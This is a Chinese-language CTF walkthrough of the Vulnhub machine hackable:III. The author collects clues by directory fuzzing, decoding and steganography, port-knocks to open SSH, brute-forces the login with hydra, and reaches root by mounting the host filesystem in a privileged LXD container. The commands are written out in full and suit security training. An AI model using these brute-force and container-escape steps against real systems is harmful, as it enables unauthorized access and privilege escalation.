【Vulnhub】hackable:III

hackable:III

Description

​ Focus on general concepts about CTF

​ Difficulty: Medium

[!TIP]

又是 igconfig 得不到ip信息的情况,用 sudo /sbin/dhclient 命令

信息收集

fscan 扫描内网,发现靶机IP:192.168.1.6

image-20241029161154578

nmap 扫描目标IP端口和服务

nmap -A -sV -p- 192.168.1.6

image-20241029161306059

开放了 22(注意这里22端口是关闭的) 和 80 端口

查看 80 端口网页

image-20241029161428964

查看网页源码

image-20241029161449724

有一个人给 jubiscleudo 的留言,并且告诉了关于 .jpg 的消息

接下来 ffuf 扫描目录

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.6/FUZZ

image-20241104174116718

将 200、301 的状态码目录点开

发现 backup 目录里面有个 wordlist.txt ,查看后感觉应该是一个密码字典

image-20241029162607633

config 目录里面有一个 1.txt,内容为 MTAwMDA=,像是 base64 加密,解密后得到 10000

image-20241029162646739

css 目录里有一个 2.txt,将内容去网站 https://www.dcode.fr/cipher-identifier 分析一下是 Brainfuck 加密,使用解密工具解密得到 4444

image-20241029163033569

然后还有一个 imagens/ 目录,里面存储的全是图片

image-20241104174240151

最后是 login_page/ 目录,里面是 html 内容

image-20241104174337493

点击 login.html 进入登陆页面

image-20241104174614623

查看页面源代码,发现有提示说这个页面还没准备好,可能出现错误

image-20241104174706437

所以我测试几个账号和上面解密出来的密码,发现页面确实没写好,输入任何字符串登录都显示空白页面,但是注意一下,这里登录之后 url 会跳转到 login.php

查看该页面的源代码

image-20241104175205971

显示的是登录认证代码,但是注意到 if 语句里面显示登录成功之后,header('Location: 3.jpg'),也就是说登陆成功会跳转到 3.jpg 页面,进入该页面

image-20241104175434580

发现是个图片,然后到这里就戛然而止了。。。

但是这样放一个图片,显然也是一种提示,所以需要用到一个工具 Steghide

[!NOTE]

Steghide 是一个可以将文件隐写到图片或者音频的工具,支持格式:JPEG、BMP、WAV、AU文件。

没安装的话,先安装 steghide

apt install steghide

然后将 3.jpg get下来后,再使用 steghide 提取图片中隐藏的东西

steghide extract -sf 3.jpg

image-20241105113748091

得到一个端口:65535,那么说起来前面两个 4444 和 10000 其实也是端口了。

那么可以使用 knock

漏洞扫描

[!NOTE]

knock 是一个典型的端口敲门(port knocking)工具,这种技术在网络安全中用于隐蔽服务器的服务端口,如 SSH 端口 22。在这种技术中,服务器会将服务端口隐藏,通过特定顺序的“敲门”打开服务端口,允许连接。这种敲门行为是一系列特定端口的访问或“敲门”请求,服务器检测到正确的顺序后会临时开放指定端口。

knock 192.168.1.6 10000 4444 65535

[!CAUTION]

​ 我这里出现了问题,端口没有碰撞成功,所以 ssh 一直爆破不了。后面我直接root登录靶机,开放了22端口,结果还是不行。。。

​ 最后发现是由于我最开始不是没有ip么,使用 sudo /sbin/dhclient 给靶机分配好ip之后,网卡名 与 靶机里面 knockd 配置文件里的网卡名对应不上,导致 knockd 状态一直是 failed,于是我重写写了 knockd 的配置文件,然后重启了 knockd

image-20241105153131056

所以这里推荐一篇文章 如何在 Linux 中使用端口敲门来保护 SSH 服务

这里碰撞成功后,再次用 nmap 扫描目标的端口,会发现 22 端口是 open 状态

image-20241105153157568

然后将之前在网站目录中找到的 wordlist.txt 密码字典写到一个 wget 下来

使用密码爆破工具 hydra 进行爆破 ssh

hydra -l jubiscleudo -P wordlist.txt 192.168.1.6 ssh

image-20241105153649017

得到 jubiscleudo 用户的ssh连接密码 onlymy

开始 ssh 连接...

image-20241105153818752

连接成功,拿到 user.txt 的 flag

image-20241105154026651

提权

之后查看用户有哪些sudo权限,以及可以使用的东西,没结果

那么去到网站里查看是否有数据库连接信息泄露之类的

image-20241105155505689

可以看到在 /var/www/html 目录下面有个隐藏的 .backup_config.php 文件,查看文件,发现数据库连接的账号密码

切换用户 hackable_3 试试

image-20241105155924547

查看id

image-20241105160618838

发现是 lxd 组【lxd/lxc 组的用户可以使用github上面的项目进行提权】

image-20241105161223613

于是这里进行了一系列提权操作,建议看一篇文章 linux lxd组用户提权至root 【有详细描写原理和过程】

git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

lxc image import ./alpine*.tar.gz --alias myimage 

lxd init

lxc init myimage mycontainer -c security.privileged=true

lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

lxc start mycontainer
lxc exec mycontainer /bin/sh

最后成功 root 启动bash

在 /mnt/root/root目录获取到 root.txt 中的 flag

image-20241105161429593

posted @ 2024-11-05 16:38  酷比灯  阅读(29)  评论(0)    收藏  举报